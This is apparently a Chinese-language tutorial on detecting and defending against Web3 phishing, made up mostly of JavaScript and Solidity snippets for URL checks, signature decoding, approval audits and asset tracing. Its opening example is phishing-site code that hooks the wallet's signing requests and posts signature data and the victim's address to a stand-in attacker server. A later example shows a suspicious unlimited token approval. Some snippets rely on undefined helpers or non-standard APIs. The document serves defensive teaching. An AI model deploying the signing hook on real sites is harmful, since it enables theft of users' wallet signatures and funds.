006_网络钓鱼识别与防范：Web3环境下的高级威胁检测与防护策略

阶段1：基础仿冒 → 阶段2：高级域名欺骗 → 阶段3：社交媒体整合 → 阶段4：AI驱动攻击

// 示例：钓鱼网站中常见的恶意JavaScript代码
window.ethereum.request = new Proxy(window.ethereum.request, {
  apply(target, thisArg, args) {
    // 拦截所有签名请求
    if (args[0].method === 'personal_sign' || 
        args[0].method === 'eth_signTypedData_v4') {
      // 记录签名数据到攻击者服务器
      fetch('https://attacker-server.com/steal', {
        method: 'POST',
        body: JSON.stringify({
          signatureData: args[0].params,
          victimAddress: window.ethereum.selectedAddress
        })
      });
    }
    return Reflect.apply(target, thisArg, args);
  }
});

// 示例：验证网站证书和连接安全的JavaScript代码
function verifySiteSecurity() {
  // 检查URL是否为官方已知URL
  const officialURLs = ['https://app.uniswap.org', 'https://opensea.io'];
  const currentURL = window.location.href;
  
  if (!officialURLs.some(url => currentURL.startsWith(url))) {
    alert('警告：您可能访问的不是官方网站，请仔细检查URL！');
  }
  
  // 检查证书有效性
  const securityInfo = { ...window.crypto.subtle };
  // 实际应用中需要更复杂的证书验证逻辑
}

// 使用ethers.js检查合约是否已验证
async function checkContractVerification(contractAddress) {
  const etherscanAPI = 'https://api.etherscan.io/api';
  const params = new URLSearchParams({
    module: 'contract',
    action: 'getabi',
    address: contractAddress,
    apikey: 'YOUR_API_KEY'
  });
  
  const response = await fetch(`${etherscanAPI}?${params}`);
  const data = await response.json();
  
  if (data.status === '1') {
    console.log('合约已验证');
    return true;
  } else {
    console.warn('警告：合约未经验证！');
    return false;
  }
}

// 示例：解析并显示EIP-712签名数据
function decodeTypedData(typedData) {
  const domain = typedData.domain;
  const message = typedData.message;
  
  console.log('域信息:', domain);
  console.log('消息内容:', message);
  
  // 检查是否包含危险操作关键字
  const dangerousKeywords = ['transfer', 'approve', 'permit', 'mint'];
  const dataString = JSON.stringify(typedData);
  
  dangerousKeywords.forEach(keyword => {
    if (dataString.toLowerCase().includes(keyword)) {
      console.warn(`警告：签名数据中包含潜在危险操作: ${keyword}`);
    }
  });
  
  return { domain, message };
}

// 简化的AI钓鱼检测示例（实际实现更复杂）
function aiPhishingDetection(url, pageContent) {
  // 提取特征
  const features = {
    urlSimilarity: calculateUrlSimilarity(url, knownOfficialUrls),
    domainAge: getDomainAge(url),
    suspiciousWords: countSuspiciousWords(pageContent),
    buttonTextAnalysis: analyzeButtonText(pageContent),
    javascriptBehavior: analyzeJavaScriptBehavior()
  };
  
  // 输入到AI模型（简化示例）
  const riskScore = aiModel.predict(features);
  
  if (riskScore > 0.7) {
    return {
      riskLevel: '高',
      confidence: riskScore,
      warning: '检测到高风险钓鱼网站特征'
    };
  } else if (riskScore > 0.4) {
    return {
      riskLevel: '中',
      confidence: riskScore,
      warning: '检测到一些可疑特征，请谨慎操作'
    };
  } else {
    return {
      riskLevel: '低',
      confidence: 1 - riskScore,
      message: '未检测到明显钓鱼特征'
    };
  }
}

// 示例：使用硬件钱包签名时的安全检查
async function secureHardwareSigning(transaction) {
  // 连接硬件钱包
  const provider = new ethers.providers.Web3Provider(window.ethereum);
  const signer = provider.getSigner();
  
  // 检查是否为硬件钱包
  const isHardware = await detectHardwareWallet(signer);
  
  if (!isHardware) {
    console.warn('警告：未使用硬件钱包签名，存在钓鱼风险');
    // 显示额外的安全提示
  }
  
  // 显示交易详情供用户在硬件设备上验证
  console.log('请在硬件设备上验证以下交易详情：');
  console.log('接收地址:', transaction.to);
  console.log('金额:', ethers.utils.formatEther(transaction.value));
  console.log('Gas限制:', transaction.gasLimit.toString());
  
  // 执行交易
  return await signer.sendTransaction(transaction);
}

// 示例：浏览器扩展安全配置检查
function checkExtensionSecurity() {
  const requiredExtensions = ['MetaMask Defender', 'uBlock Origin'];
  let missingExtensions = [];
  
  // 在实际实现中，这需要扩展API权限
  // 这里仅作为概念示例
  
  requiredExtensions.forEach(ext => {
    if (!isExtensionInstalled(ext)) {
      missingExtensions.push(ext);
    }
  });
  
  if (missingExtensions.length > 0) {
    alert(`建议安装以下安全扩展以增强防护：\n${missingExtensions.join('\n')}`);
  }
}

// 使用WebAuthn API实现硬件密钥认证
async function setupHardwareKey() {
  try {
    // 创建公钥凭据选项
    const publicKey = {
      challenge: new Uint8Array([/* 随机挑战数据 */]),
      rp: { name: 'Web3安全钱包' },
      user: {
        id: new Uint8Array([/* 用户ID */]),
        name: 'user@example.com',
        displayName: 'Web3 User'
      },
      pubKeyCredParams: [
        { type: 'public-key', alg: -7 }, // ES256
        { type: 'public-key', alg: -257 } // RS256
      ],
      timeout: 60000,
      attestation: 'direct'
    };
    
    // 注册凭据
    const credential = await navigator.credentials.create({ publicKey });
    
    // 存储公钥信息（在实际应用中应安全存储）
    storeCredential(credential);
    
    return '硬件密钥设置成功';
  } catch (error) {
    console.error('硬件密钥设置失败:', error);
    return '硬件密钥设置失败，请重试';
  }
}

// 示例：本地URL安全检查工具
function checkUrlSafety(url) {
  const knownPhishingPatterns = [
    /ethereum[^\.]*\.io/,
    /uniswap-[a-z0-9]{1,3}\.com/,
    /opensea-v[2-9]\.io/,
    /metamask-[a-z0-9]{1,4}\.org/
  ];
  
  const suspiciousKeywords = ['airdrop', 'free', 'claim', 'private', 'exclusive'];
  
  // 检查已知钓鱼模式
  for (const pattern of knownPhishingPatterns) {
    if (pattern.test(url)) {
      return { safe: false, reason: '匹配已知钓鱼网站模式' };
    }
  }
  
  // 检查可疑关键词
  const hasSuspiciousKeyword = suspiciousKeywords.some(keyword => 
    url.toLowerCase().includes(keyword)
  );
  
  if (hasSuspiciousKeyword && url.includes('.io')) {
    return { safe: false, reason: '包含可疑关键词' };
  }
  
  return { safe: true, reason: '未检测到明显钓鱼特征' };
}

// 授权请求示例（可疑）
const approvalRequest = {
  from: userAddress,
  to: tokenContractAddress,
  data: web3.eth.abi.encodeFunctionCall({
    name: 'approve',
    type: 'function',
    inputs: [
      { type: 'address', name: 'spender' },
      { type: 'uint256', name: 'amount' }
    ]
  }, [
    '0x71C7656EC7ab88b098defB751B7401B5f6d8976F', // 未知地址
    '115792089237316195423570985008687907853269984665640564039457584007913129639935' // 最大值
  ])
};

// 示例：授权管理检查脚本
async function auditWalletApprovals(walletAddress) {
  const provider = new ethers.providers.Web3Provider(window.ethereum);
  const tokenAddresses = await getCommonTokenAddresses();
  const approvals = [];
  
  for (const tokenAddress of tokenAddresses) {
    const tokenContract = new ethers.Contract(
      tokenAddress,
      ERC20_ABI,
      provider
    );
    
    const approvalEvents = await tokenContract.queryFilter(
      tokenContract.filters.Approval(walletAddress, null),
      0,
      'latest'
    );
    
    for (const event of approvalEvents) {
      const { spender, amount } = event.args;
      
      // 检查是否为大额授权或无限授权
      const isInfinite = amount.eq(ethers.constants.MaxUint256);
      
      if (isInfinite || amount.gt(ethers.utils.parseEther('1000'))) {
        approvals.push({
          token: tokenAddress,
          spender,
          amount: ethers.utils.formatEther(amount),
          isInfinite,
          blockNumber: event.blockNumber,
          timestamp: await provider.getBlock(event.blockNumber).then(b => b.timestamp)
        });
      }
    }
  }
  
  return approvals;
}

// Solidity中实现的时间锁保护示例
contract TimeLockedWallet {
    address public owner;
    uint256 public constant TIMELOCK_PERIOD = 24 hours;
    mapping(bytes32 => uint256) public pendingTransactions;
    
    constructor() {
        owner = msg.sender;
    }
    
    function submitTransaction(address to, uint256 amount, bytes calldata data) 
        external 
        onlyOwner 
        returns (bytes32)
    {
        bytes32 txHash = keccak256(abi.encodePacked(to, amount, data));
        pendingTransactions[txHash] = block.timestamp + TIMELOCK_PERIOD;
        return txHash;
    }
    
    function executeTransaction(address to, uint256 amount, bytes calldata data) 
        external 
        onlyOwner 
    {
        bytes32 txHash = keccak256(abi.encodePacked(to, amount, data));
        require(pendingTransactions[txHash] > 0, "Transaction not pending");
        require(block.timestamp >= pendingTransactions[txHash], "Timelock not expired");
        
        // 清除待处理交易
        pendingTransactions[txHash] = 0;
        
        // 执行交易
        (bool success, ) = to.call{value: amount}(data);
        require(success, "Transaction execution failed");
    }
    
    modifier onlyOwner() {
        require(msg.sender == owner, "Not authorized");
        _;
    }
}

// 简化的资产追踪示例
async function trackStolenAssets(attackerAddress) {
  const provider = new ethers.providers.Web3Provider(window.ethereum);
  const transactions = await provider.getTransactions(attackerAddress);
  
  const outgoingTransactions = transactions.filter(tx => 
    tx.from.toLowerCase() === attackerAddress.toLowerCase() && tx.value.gt(0)
  );
  
  const assetFlow = [];
  
  for (const tx of outgoingTransactions) {
    assetFlow.push({
      timestamp: new Date((await provider.getBlock(tx.blockNumber)).timestamp * 1000),
      from: tx.from,
      to: tx.to,
      amount: ethers.utils.formatEther(tx.value),
      hash: tx.hash,
      blockNumber: tx.blockNumber
    });
  }
  
  // 找出资金最终流向
  const ultimateDestinations = findUltimateDestinations(assetFlow);
  
  return {
    totalStolen: outgoingTransactions.reduce((sum, tx) => 
      sum.add(tx.value), ethers.BigNumber.from(0)
    ),
    transactionHistory: assetFlow,
    ultimateDestinations
  };
}